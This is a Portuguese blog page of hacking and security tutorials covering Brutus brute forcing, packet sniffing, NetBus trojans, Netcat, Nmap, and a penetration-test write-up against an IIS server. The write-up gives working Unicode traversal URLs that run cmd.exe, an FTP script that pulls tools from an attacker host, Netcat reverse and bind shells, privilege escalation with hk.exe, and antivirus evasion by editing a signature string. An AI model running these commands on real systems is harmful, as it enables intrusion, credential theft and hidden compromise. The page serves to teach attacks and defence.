Mostrando postagens com marcador Tutoriais. Mostrar todas as postagens
Mostrando postagens com marcador Tutoriais. Mostrar todas as postagens

quinta-feira, 22 de abril de 2010

ATAQUES POR BRUTE FORCE -TUTORIAL

O que é?

O ataque por brute force consiste em tentativas de descoberta de senhas/logins através de processos manuais ou automatizados. Os principais alvos são servidores de e-mails, servidores com Telnet ativo, FTP, HTTP com autenticação etc.

Ninguém em sã consciência tentaria manualmente um ataque desses, isso demoraria muito e seria extremamente ineficaz. Para esse tipo de ataque existem várias ferramentas que automatizam o processo, nesse artigo analisaremos o Brutus.

Onde conseguir?

O Brutus pode ser baixado em diversos sites, inclusive aqui www.invasao.com.br. A instalação é muito simples.

Descompacte e execute o arquivo executável, será mostrada a seguinte tela:

Digite o ip ou o nome do servidor que se quer explorar no campo “Target”, ao lado dele informe o serviço que se deseja descobrir a senha, pode ser HTTP, FTP, Telnet, Pop3 etc.

Na seção “Authentication Options” é feita a escolha da forma de pesquisa, primeiro informe o arquivo de nomes de usuários que está determinado no campo “User file”, assim é possível verificar vários logins de uma única vez, se preferir usar apenas um login, marque a opção “Single user” e informe o login desejado.

Ao lado especifique de que forma as tentativas serão feitas, existem três possibilidades na opção “Pass Mode”:

Word List – Com essa opção será necessário especificar um arquivo .txt com senhas possíveis, esse método é rápido, porém pouco eficaz.

Combo List – Aqui teremos que informar um arquivo .txt com logins e senhas possíveis separados por : ou . Só é recomendado se você já “desconfia” de possíveis senhas/logins. Pouco eficaz.

Brute Force – Com essa opção serão feitas diversas combinações com os caracteres especificados, esse método apesar de poder demorar muito, é muito eficaz.

Programas como o Brutus são comuns na Internet, por isso é sempre adequado usar senhas com no mínimo 6 caracteres e usar caracteres alfanuméricos e numéricos. Ainda assim essas práticas não nos tornam imunes a esse tipo de ataque, portanto boa sorte!

Ps:
Veja uma outra coluna escrita por o Instrutor

O QUE SÃO SNIFFERS -TUTORIAL

Os sniffers são programas que, como o próprio nome diz, “farejam”o que passa pela rede. Eles são usados freqüentemente por administradores de rede para identificarem pacotes estranhos “passeando” pela rede ou por pessoas má intencionadas para tentar descobrir informações importantes, especialmente senhas.

Para utilizar um sniffer é indispensável que você esteja no mesmo segmento de rede que os dados que pretende capturar. Existem muitos sniffers disponíveis na Internet, nesse artigo vamos abordar o Ethereal, ele existe nas versões Windows/Linux/BSD/Mac dentre outros.

Para conseguir o Ethereal procure em seu site oficial, http://www.ethereal.com. Não entraremos em detalhes de instalação, uma vez que isto está bem documentado no site oficial.

Uma vez aberto o Ethereal você se deparará com uma tela como esta:

Para iniciar os procedimentos de captura de pacotes, clique em Capture/Start, será mostrada esta tela:

No primeiro campo selecione a placa de rede que está conectada no segmento de rede desejado. Os campos seguintes (Count/File size/Duration) se referem a quantidade de informação/tempo que a captura estará ativa. Lembre-se que esse processo exige muito da memória da máquina, portanto é interessante limitar a quantidade de dados que se deseja analisar.

É importante marcar a opção Capture Packets in Promíscuos Mode, assim o Ethereal interceptará também os pacotes que não tenham sua máquina como destino. Dessa forma todos os pacotes que passarem por seu segmento de rede estará sujeito ao sniffer.

Agora clique em ok e espere até conseguir pegar um número significativo de pacotes de rede. Depois mande a captura parar e serão mostrados os pacotes capturados, clique em algum deles com o botão direito e selecione a opção Follow TCP Stream. Será mostrada uma tela com a área de dados do pacote transformada em texto plano. Em nossos testes obtivemos a seguinte resposta:

Como podemos ver é apenas a página do UOL, mas poderia ser uma conexão de e-mail a um servidor POP3 ou uma conexão Telnet. Por isso é importante usar recursos de criptografia em nossas transmissões, assim mesmo que os dados sejam capturados nunca serão decifrados.

O QUE SÃO TROJANS -TUTORIAL

O que são?

Os Trojans-Horses(Cavalos de Tróia) ou simplesmente Trojans são programas recebidos como verdadeiros presentes de Grego, uma alusão ao cavalo de madeira dado de presente aos troianos que tinha o objetivo real de invadir as suas fortalezas. Portanto os Trojans são softwares criados com o intuito de dar acesso não autorizado a máquina da vítima, normalmente vêm disfarçados de programinhas úteis ou com títulos apelativos para induzir a sua execução.

Como funcionam?

Para permitir acesso a máquina da vítima é necessário que o software(o Trojan) abra uma conexão(porta) e fique em estado de alerta esperando a conexão do invasor. Eles rodam em background de forma totalmente furtiva e difícil detecção por usuários leigos. Um dos Trojans mais populares, apesar de antigo, é o NetBus, que continua fazendo verdadeiros estragos na máquina dos incautos. Esta é a tela do cliente, ou seja, da máquina do invasor quando está conectado à vítima.

Como podemos ver acima é possível fazer diversas operações com este Trojan, desde de operações simples como abrir a gaveta de CD-ROM da vítima ou manda-lo para uma página da Web até acessar seus arquivos.

Como detectá-los e removê-los?

Como vimos no exemplo acima para conexão é necessário uma porta em estado de espera(Listen), no nosso caso a porta 12345. Para verificar quais programas são usados para abriri conexões, use o Fport, um software para Windows XP/NT/2000 que mostra as portas abertas e os aplicativos responsáveis por elas. Assim é possível apagar nossos “vilões”.

Uma outra forma é verificar seus sinais através apenas de porta abertas, para isso vamos utilizar um escaneador muito poderoso, o Languard.

Assim é possível saber se existe a porta 12345 está aberta. Hoje em dia a maioria dos antivírus detectam ao Trojans, basta manter sua barreira atualizada e desconfiar sempre dos “presentinhos” que nos chegam, principalmente por e-mail.

No próximo artigo veremos aspectos mais avançados dos Trojans e como eles são criados, não perca!

ANALISE DE TESTE DE INTRUSÃO -TUTORIAL

Um consultor, com conhecimento limitado sobre a estrutura e organização de uma corporação, pode simular uma situação real de um cracker tentando obter acesso a um ambiente. A este tipo de avaliação damos o nome de Teste de Intrusão. Seguir será mostrado e comentado um teste de intrusão realizado por um consultor de segurança e disponibilizado na Internet.

A organização avaliada é uma empresa no ramo de comunicação, com emissoras de TV, Rádio e Jornais.

Estas são as principais ferramentas utilizadas:

Cyberkit – DNS lookups, traceroute, whois, finger;
NetCat – Abre conexões TCP;
Hk.exe – Permite obter acesso de nível privilegiado no Windows NT.;
Comandos net – net view, net send, net share etc;
Editor hexa – Edita arquivos em formato hexadecimal;
Whisker.pl – Procura vulnerabilidades em servidores Web;
Lophtcrack – Quebra senhas do Windows;
WinVNC – Software de controle remoto.

a) Obtendo informações

O ataque começou com DNS lookups nos IPs da empresa, requisições whois e varredura de portas nos servidores publicados na Internet. Foram localizados 140 computadores (servidores Web, DNS, e-mail e B2B), sendo que a maioria deles eram servidores NT e outros eram versões de UNIX. Uma varredura rápida nos servidores Web mostrou que eram utilizados servidores com IIS(Internet Information Server) 3.0 e 4.0.

Como em todo ataque real, este Teste de Intrusão começou com a obtenção de informações a respeito do alvo. O software Cyberkit foi utilizado numa varredura inicial, todos computadores que estão ligados à Internet foram identificados, bem como seus sistemas operacionais e versões dos serviços instalados.

b) Encontrando Vulnerabilidades

O trabalho começou com o principal servidor Web da empresa (NT 4.0 com IIS 4.0). Uma rápida verificação na lista de vulnerabilidades conhecidas no site SecurityFocus, mostrou que a vulnerabilidade “Directory traversal using Unicode vulnerability” está presente em algumas versões do IIS. Esta vulnerabilidade é explorada enganando o servidor Web para que ele permita o acesso aos diretórios do computador que normalmente estariam ocultos aos visitantes do site. No IIS o diretório padrão para os sites é localizado em C:\Inetpub\wwwroot. Logo, ao invés de requisitar o documentohttp://www.vitima.com/index.html, que corresponde ao arquivo físico C:\Inetpub\wwwroot\index.html, o hacker requisita alguma coisa comohttp://www.vitima.com/../../index.html, que corresponde ao arquivo C:\index.html. Não existe um arquivo index.html no diretório C:, mas a partir de lá qualquer outro arquivo cuja a localização seja conhecida poderia ser acessado, tomando-se por base uma instalação padrão. Por exemplo, o programa cmd.exe poderia ser utilizado para executar comandos arbitrários no servidor, como se o hacker tivesse sentado na frente do computador e digitando comandos em uma janela DOS. Contudo, para que essa vulnerabilidade possa ser explorada, seria necessário ter direitos de execução e a seqüência de caracteres /../.. deveria ser substituída pelo equivalente em Unicode. Logo, ao invés de requisitar o cmd.exe do C:\Inetpub\wwwroot seria necessário fazer isso a partir de C:\Inetpub\wwwroot\scripts, sendo preciso mais uma camada de /... Esses caracteres devem ser traduzidos para o Unicode, pois o IIS filtra estes tipos de caracteres. Para executar o comando “dir c: /s” no servidor, por exemplo, deverá ser requisitada a URL:

http://www.vitima.com/..%1c%pc../winnt/system32/command/cmd.exe?c+dir+c:\+/s

Nesse comando, o caractere + substitui o caractere de espaço, e o ?/c+ é necessário para passar parâmetros para o cmd.exe, e /.. é representado em Unicode como %1c%pc. Executando este comando, no navegador, será apresentada uma lista completa de todos os arquivos do drive C: do servidor. O mesmo processo pode ser executado para outras unidades do servidor. Com este recurso é possível executar diversos comandos, como ping e comandos net para mapear a rede interna, contudo, executar estes comandos com o navegador é muito trabalhoso, logo é mais conveniente criar um script para esta finalidade.

De posse dos endereços dos servidores e das versões dos serviços instalados, é o momento de identificar falhas que permitam o acesso ao sistema. Uma falha foi encontrada em um dos grandes sites de segurança, o SecurityFocus. Entendida a falha e como ela pode ser explorada, é hora de começar o ataque propriamente dito.

c) Armando o Arsenal

O primeiro passo do ataque é ativar um servidor FTP no laptop do atacante e copiar as ferramentas para o diretório principal do FTP. Foram copiados os arquivos nc.exe e hk.exe. Foi carregado um cliente FTP no computador da vítima para baixar as ferramentas do laptop. Como o FTP é interativo, e não é possível fazer a interação através de navegador, então foi criado um script para ser executado no servidor. Os comandos executados para criar o arquivo texto do script são mostrados a seguir:

http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+open+ftp.intruder.com+ >>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+username>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+password>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+prompt>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+bin>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+mget+*.exe>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+bye>>ftp.txt

O conteúdo do script foi verificado através do navegador, e depois a seção FTP foi estabelecida, assumindo-se que o firewall permitiria aquele tráfego. O script foi executado com o seguinte comando:

http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+ftp+-s:ftp.txt

Depois foi usado o NetCat para obter um prompt de comandos no servidor. O NetCat é uma ferramenta de rede muito útil, que pode ser utilizada para permitir a comunicação via uma porta TCP qualquer e criar um shell prompt.

O NetCat foi executado no laptop no modo de escuta(listening) na porta 53, também usada para consultas DNS e normalmente permitida pelo firewall. Depois foi executado o NetCat no servidor para disponibilizar o shell prompt no laptop, tudo através do navegador. Numa janela DOS do laptop foi dado o seguinte comando:

Nc –l –p 53

E no navegador:

http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+nc+-d+-e+cmd.exe+MeuEndereçoIP+53

Então a janela do laptop mostrou:

Microsoft(R) Windows NT(TM)

(C) Coypright 1985-1996 Microsoft Corp.

C:\Inetpub\wwwroot\scripts>_

Pronto, ganhamos um prompt. Utilizou-se o comando whoami para identificar qual era o usuário logado na máquina. Infelizmente era o INET_IUSR/Anonymous, a conta de usuário anônimo da Internet e não a de administrador. Isso significa que as informações importantes não poderão ser acessadas.

É necessário, além do conhecimento sobre protocolos e sistemas operacionais, entendimento sobre o funcionamento dos softwares que explorarão as falhas encontradas. Aqui o consultor usou um servidor FTP em seu laptop e um cliente no servidor para baixar as ferramentas para o alvo. O NetCat serviu para abrir uma conexão inicial. A porta de comunicação foi acertadamente escolhida, as requisições DNS, necessárias ao funcionamento do servidor, não despertavam suspeitas e podiam passar desapercebidas pelo Firewall ou IDS(Intrusion Detection System – Sistema de Detecção de Intrusão).

d) Efetuando o Ataque

Então o consultor tentou iniciar uma conexão TELNET usando uma outra porta com a ferramenta hk.exe. Esta ferramenta explora uma vulnerabilidade associada a uma chamada não documentada de uma API que permite a uma thread obter um token(um atributo de segurança que define o nível o nível em que uma thread pode rodar) de uma thread do kernel. Para usar esta ferramenta, digita-se hk seguido do comando que se deseja executar se tivesse o privilégio de administrador. O comando digitado foi:

Hk nc –e –e cmd.exe MeuEnderecoIP 23

O resultado foi a mensagem de “Bad command or filename” . Depois de algumas verificações, vimos que o arquivo hk.exe tinha sido movido para o diretório C:\Program Files\Antivyrtec Associates\Antivírus\Quarantine\. O Antivírus havia identificado e capturado nosso aplicativo.

Foi utilizado um editor hexa no arquivo hk.exe. Como este é um aplicativo compilado, qualquer modificação poderia comprometer seu funcionamento. Dentro do código foi editada uma mensagem que dizia “Your wish is my command master”. Foi mudada esta mensagem para “XXXX XXXX XX XXXXXXXX XXXXXX” e renomeado este arquivo para hk2.exe. Depois de baixar este arquivo o antivírus não o capturou.

Dentro de uma nova janela DOS no laptop foi criada uma nova conexão com o seguinte comando:

Nc –l –p 23

E depois o comando:

Hk2 nc –d –e cmd.exe MeuEnderecoIP 23

Na conexão ativa no servidor Web foi mostrado:

Hk2 nc –d –e cmd.exe MeuEnderecoIP 23

Lsass pid & tid are: 50 - 53

Lauching line was: nc –d –e cmd.exe MeuEnderecoIP 23

XXXX XXXX XX XXXXXXXX XXXXXXNTImpersonateClientOfPort

Suceeded

Na tela do laptop foi exibido:

Microsoft(R) Windows NT(TM)

(C) Copyright 1985-1996 Microsoft Corp.

C:\Inetpub\wwwroot\scripts>

Whoami

NT AUTHORITY/SYSTEM

Agora foi fechada a primeira conexão NetCat, ela não era mais necessária. A primeira coisa a ser feita foi a cópia do banco de dados SAM para o laptop e a quebra das senhas pelo aplicativo l0phtcrack, com dicionários de senhas e força bruta. Com alguns pings e comandos net todos os domínios e servidores NT foram listados. Foram colhidas todas as evidências da intrusão e por último foi instalado no servidor Web o WinVNC, o mais espantoso foi, após visualizar a tela do servidor, que a mensagem de captura do aplicativo hk.exe ainda estava na tela, ou seja, durante nossos testes(quase três dias) ninguém olhou para a tela do computador. O consultor então clica em OK e assim removeu a evidência mais óbvia de sua intrusão, além de apagar os arquivos que havia copiado anteriormente.

Através de outra falha, desta vez numa API do Windows, foi possível aumentar o nível de acesso do consultor e obter privilégio de administrador. O antivírus foi facilmente enganado simplesmente editando o arquivo e mudando apenas um banner de boas vindas, quebrando assim o sistema de identificação de assinaturas. Uma conexão privilegiada foi estabelecida e as provas da intrusão foram coletadas. A partir deste servidor, outras máquinas foram exploradas e então finalmente o consultor deixa o sistema.

e) Conclusão

Ao analisar vários ataques, muitas semelhanças podem ser encontradas. Certamente uma delas é a seqüência que eles obedecem. O consultor seguiu a ordem normal e começou com varreduras e obtenção de informações, depois passou a procurar vulnerabilidades e como explorá-las, e finalmente efetuou o ataque e buscou evidências da intrusão. Note que todo o teste foi feito sem conhecimentos privilegiados, parecendo assim um ataque real.

As falhas de programas foram exploradas intensamente nesse teste. O servidor Web tinha uma vulnerabilidade conhecida há bastante tempo e sua correção já estava disponível, bastava apenas uma atualização do software para impedir a ação do atacante. Outro fato é a ampla divulgação de falhas de segurança em sites especializados, muitas vezes essas atualizações acontecem muito depois de sua divulgação, quando a exploração dessas mesmas falhas já ocorreu.

Com este teste foi possível verificar também que apenas uma falha em um dos servidores comprometeu a segurança inteira da estrutura, confirmando aquela máxima, comum na área de segurança, que diz: ”A corrente é tão forte quanto seu elo mais fraco.”

A negligência dos administradores também pode ser observada pela não percepção do ataque, além da falta de atualização dos softwares, principalmente dos serviços críticos, como o servidor Web.

USANDO O NETCAT -TUTORIAL

É lugar comum dizer que o Netcat, um pequeno software desenvolvido inicialmente para Unix, é o canivete suíço do TCP/IP. Existem atualmente versões do Netcat para Windows, porém é muito fácil encontrá-la na maioria das distribuições Linux. Mas qual o motivo dessa fama e a verdadeira utilidade dessa ferramenta?

A grosso modo a maior utilidade dessa ferramenta é estabelecer uma conexão TCP entre dois hosts. Vamos a exemplos práticos, por exemplo um servidor POP de e-mail escuta na porta 110, como o Netcat pode se conectar em qualquer porta, basta usar o comando:

nc –vv ip-do-servidor 110

Pronto, está estabelecida a conexão! Porém é necessário saber o que o servidor espera receber, ou seja, quais os comandos válidos nessa conexão. É como bater na porta de um chinês, é necessário conhecer seu idioma para conseguir se comunicar. No caso de um servidor de POP nós sabemos que é esperado em primeiro lugar um usuário e senha válidos. Portanto, depois de estabelecida a conexão, utilize os comandos:

C:\windows> nc –vv ip-do-servidor 110
+ok Ready
user andre
+OK Password required for andre
pass minha-senha
+OK andre has 06 visible messages (0 hidden) in 521825 octets.
list
1 3973
2 4081
3 9705
4 442395
5 4381
6 4114

retr 1 (Use este comando para visualizar a mensagem 1)
..
quit

Vamos a outro exemplo, desta vez em um servidor Web. Como sabemos, normalmente os servidores Web não requerem autenticação, portanto qualquer um pode recuperar as páginas ali armazenadas. Utilize o Netcat dessa forma:

nc www.site-qualquer.com.br 80

Depois de conectado, usamos um comando válido (GET) do servidor Web para visualizar o conteúdo da página inicial, assim:

GET index.html

Note que o código HTML foi mostrado em seu console, a única diferença entre esse processo e seu navegador é que o último consegue interpretar esse código e mostrar de forma agradável o conteúdo.

Esses dois são exemplos simples do uso do Netcat como cliente de duas aplicações. Esse objetivo seria tingido também com o uso do Telnet. Porém o Netcat apresenta recursos bem mais úteis, como veremos a seguir.

Um dos exemplos mais interessantes do uso do Netcat é a possibilidade de criar um serviço escutando em uma determinada porta, isso é conseguido com o parâmetro –l. Vamos a mais um exemplo:

nc –l –e cmd.exe –p 53

Este comando colocará um serviço ativo na porta 53 (-p 53), em estado de escuta (-l) e usando o interpretador de comandos do Windows 2000/XP (-e cmd.exe). Para se conectar a esta máquinas basta de outro computador usar o Netcat assim:
nc –vv ip-da-outra-maquina 53

Pronto! Agora você pode usar console da outra máquina como se estivesse sentado em frente a ela. Este exemplo pode ser ajustado perfeitamente para outros sistemas operacionais, no Linux, por exemplo, basta trocar o parâmetro –e cmd.exe por –e /bin/sh.

Bom, esses foram os primeiros exemplos de uso desta fantástica ferramenta. Em breve estarei detalhando recursos mais avançados do Netcat, não percam!

USANDO O NMAP PARTE 2 -TUTORIAL

Na primeira parte do artigo tratamos dos aspectos básicos do uso do Nmap, nesse complemento vamos estudar como o Nmap pode auxiliar o administrador a identificar e corrigir possiveis falhas em servidores, além da integração com outros softwares de segurança.

Identificando portas abertas

Sem dúvida que a principal função de qualquer escaneador é identificar portas abertas, esse sinal indica que um determinado serviço está esperando uma solicitação. Após esta constatação precisamos saber se esse serviço é legitimo, por exemplo um servidor Web ou FTP ou ilegitimo como um Trojan que permita conexões remotas ao nosso servidor.

Vamos escanear nosso servidor e tentar identificar a legitimidade do serviço. Primeiro uso o Nmap apontando para meu próprio servidor:


Conforme a saída acima, verificamos a presença de três portas abertas. Digamos que eu desconhecesse a porta 111 TCP, seria natural pesquisar se trata-se de um serviço legitimo ou não, para isso, no Linux, uso o comando fuser, dessa forma:

fuser 111/tcp

Esse comando retornará o número do processo que abriu aquela porta. Conforme a figura abaixo, este comando retornou o processo número 771.

Agora para o comando ps, que serve para visualizar processos ativos, passamos o número do processo como parâmetro:

Finalmente pudemos verificar que essa porta é aberta pelo portmap, que é responsável pelo mapeamento de conexões de rede.

Esse procedimento deve ser feito regularmente, caso ache algum serviço ilegítimo suspenda o processo e exclua o programa que o inicializou.

Existe uma aplicação que faz isso em ambiente Windows(NT4, 2000 e XP), trata-se do Fport, ele pode ser encontrado no seguinte endereço: http://www.foundstone.com. Com ele é possível identificar os aplicativos responsáveis por cada porta aberta. Verifique um exemplo de utilização do Fport:

Detalhando serviços ativos
Em muitas situações é necessário saber a versão dos serviços instalados em determinados servidores. As últimas versões do Nmap permitem uma identificação dos serviços com suas respectivas versões e mais alguns detalhes, através do parâmetro -A. Assim teremos essa resposta do comando nmap -A localhost.

Podemos ver acima que além do serviço Smbd, provido pelo Samba, ainda foi mostrado o grupo de trabalho que o servidor faz parte. Vimos também a versão do portmap (serviço rpc), versão 2.

Com essa opção podemos ver inclusive quanto tempo o servidor está ligado, porém essa possibilidade só existe caso o alvo seja um sistema *nix.

Conclusão

Existem inúmeras possibilidades e combinações para o Nmap, essa tem sido a receita do seu sucesso. Nenhum outro escaneador ganhou tanta notoriedade quanto ele. A combinação do Nmap com outros softwares é tão fantástica que foi mostrada no filme Matrix, numa cena onde um servidor foi escaneado e depois invadido usando um exploit que explorava as vulnerabilidades do servidor SSH.

Portanto, se até a máquina do Matrix pode ser invadida, devemos usar a imaginação(e o conhecimento) para usar o Nmap a serviço da segurança.

USANDO O NMAP -TUTORIAL

Os escaneadores de hosts são ferramentas úteis a administradores de rede e consultores de segurança ou utilitários usados por hackers para invasão? Esse dilema segue os usuários dessas ferramentas cada vez mais populares e fáceis de usar. Seja qual for seu objetivo este artigo tentará elucidar a forma de utilização e os principais recursos de um dos mais conhecidos escaneadores existentes, o Nmap.

O Nmap

O Nmap é um escaneador de hosts que usa recursos avançados para verificar o estado do seu alvo. A ferramenta é gratuita e encontrada nas versões Linux, Windows(95,98,NT, Me, 2K e XP), Mac OS, Solaris, FreeBSD e OpenBSD. As versões para Windows e Linux contam com uma interface gráfica que facilitam a vida dos usuários.
Aqui analisaremos a versão para Linux, porém o funcionamento varia pouco em outros sistemas operacionais.

Obtendo e instalando

O download pode ser feito no site oficial, em http://www.insecure.org. A instalação pode ser feita a partir do pacote RPM disponivel no site. Como root(superusuário), instale com o seguinte comando:

rpm -vhi http://download.insecure.org/nmap/dist/nmap-3.30-1.i386.rpm

Assim o programa será baixado e instalado diretamente do site oficial do Nmap.
Caso você use uma distribuição que não suporte RPM, como Debian ou Slackware, baixe os fontes e compile. Para isso baixe o arquivo com o comando:

wget http://download.insecure.org/nmap/dist/nmap-3.30.tar.bz2

Agora descompacte com o comando:

bzip2 -cd nmap-3.30.tar.bz2 | tar xvf -

Entre no diretório criado com o comando:

cd nmap-3.30

Agora compile e instale:

./configure
make
make install


Utilização

Apesar de existirem os front-ends gráficos disponíveis, os comando passados em modo texto permitem uma enorme flexibilidade e, ao contrário do que possa parecer, o uso não é difícil. A sintaxe do comando sempre será:

nmap -p

Onde o alvo é o endereço IP do host ou rede que se deseja escanear. Caso exista uma forma de resolver nomes, como um DNS configurado, você pode usar o nome do host ao invés do IP. Com a opção -p podemos especificar portas ou faixas de portas para análise. Os parâmetros são ajustados de acordo com o que se deseja obter, os principais são:

-sT - Com esse parâmetro é feito um escaneamento através de tentativas de conexão TCP. Essa forma é muito fácil de ser identificada por firewalls e IDS;
-sS – Assim, a tentativa será com pacotes TCP com a flag SYN ligada, ou seja, como apenas uma requisição de conexão. Essa técnica dificulta um pouco a detecção;
-sP - Com essa opção o escaneamento será feito através de pacotes ICMP echo request. Verifica apenas se o host está ativo;
-sU - Envia pacotes UDP com 0 byte para determinar o estado dessas portas;
-sO - É usado para tentar determinar os protocolos suportados pelo host;
-O - Com esse parâmetro é feito uma tentativa de determinar o sistema operacional através de uma técnica conhecida como Active FingerPrint.

Bom, esses são os principais parâmetros, com eles podemos realizar os mais variados testes. Vamos partir para a prática. Primeiro testo com pacotes SYN, nas portas de 1 a 100, meu próprio roteador:

nmap -sS 192.168.0.1 -p 1-100

Recebi uma resposta assim:

O que me mostra que tenho um serviço SSH(usado para acesso remoto) aberto na porta 22.
Você pode escanear um endereço de rede para determinar serviços ativos em mais de um host, basta para isso informar o endereço da rede, como no exemplo:

nmap -sS 192.168.0.0/24 -p 1-150

Os resultados são mostrados para todos os hosts da rede separadamente. Essa técnica é interessante pra identificar falhas de segurança em toda sua rede interna.

Agora tentaremos um alvo fora da minha rede interna. Tentaremos o IP 168.143.xx.48, omitiremos obviamente parte do endereço analisado.

nmap -sT 168.143.xx.48



Note que não especificamos um intervalo de portas, assim todas as portas serão escaneadas e nosso teste poderá demorar bastante dependendo do nosso link. Aqui tentamos uma análise por tentativas de conexão TCP(opção -sT) ao invés de apenas envio de solicitações de conexão(opção -sS). É fácil observar que existem muitos serviços ativos e suas respectivas portas.

Por último tentaremos identificar o sistema operacional de um alvo em nossa rede local, para isso usaremos o parâmetro -O, assim:

nmap -O 192.168.0.66


Em nosso teste o sistema operacional foi identificado perfeitamente, como pode ser visto na figura acima.

Como se defender

Utilitários como o Nmap estão em constante atualização, cada vez mais sutis eles passam muitas vezes desapercebidos no firewalls e IDSs. O que pode diminuir os riscos é a configuração de firewalls com regras bem definidas, diminuição dos serviços ativos no gateway deixando apenas aqueles indispensáveis ao seu funcionamento e análise constante de seus arquivos de log. Um bom sistema de detecção de intrusos, como o SNORT, é indicado também.

O Nmap pode e deve ser usado para averiguação do estado do seu host, principalmente se tratar de um servidor. Use constantemente para monitorar o estado das portas e se elas pertencem a algum serviço legitimo ou não.

Portas abertas podem significar trojans instalados, por isso use também o programa chkrootkit para identificar mais facilmente essa tentativa de ataque. O chkrootkit pode ser encontrado no endereço http://www.chkrootkit.org.

Conclusão

O Nmap pode ser considerado uma ferramenta Hacker ou um excelente utilitário para consultores de segurança e administradores de rede, o fato é que ele realiza de forma extremamente eficiente o que se propõe.

 
© 2009 Template feito por H4CK3R TOOLS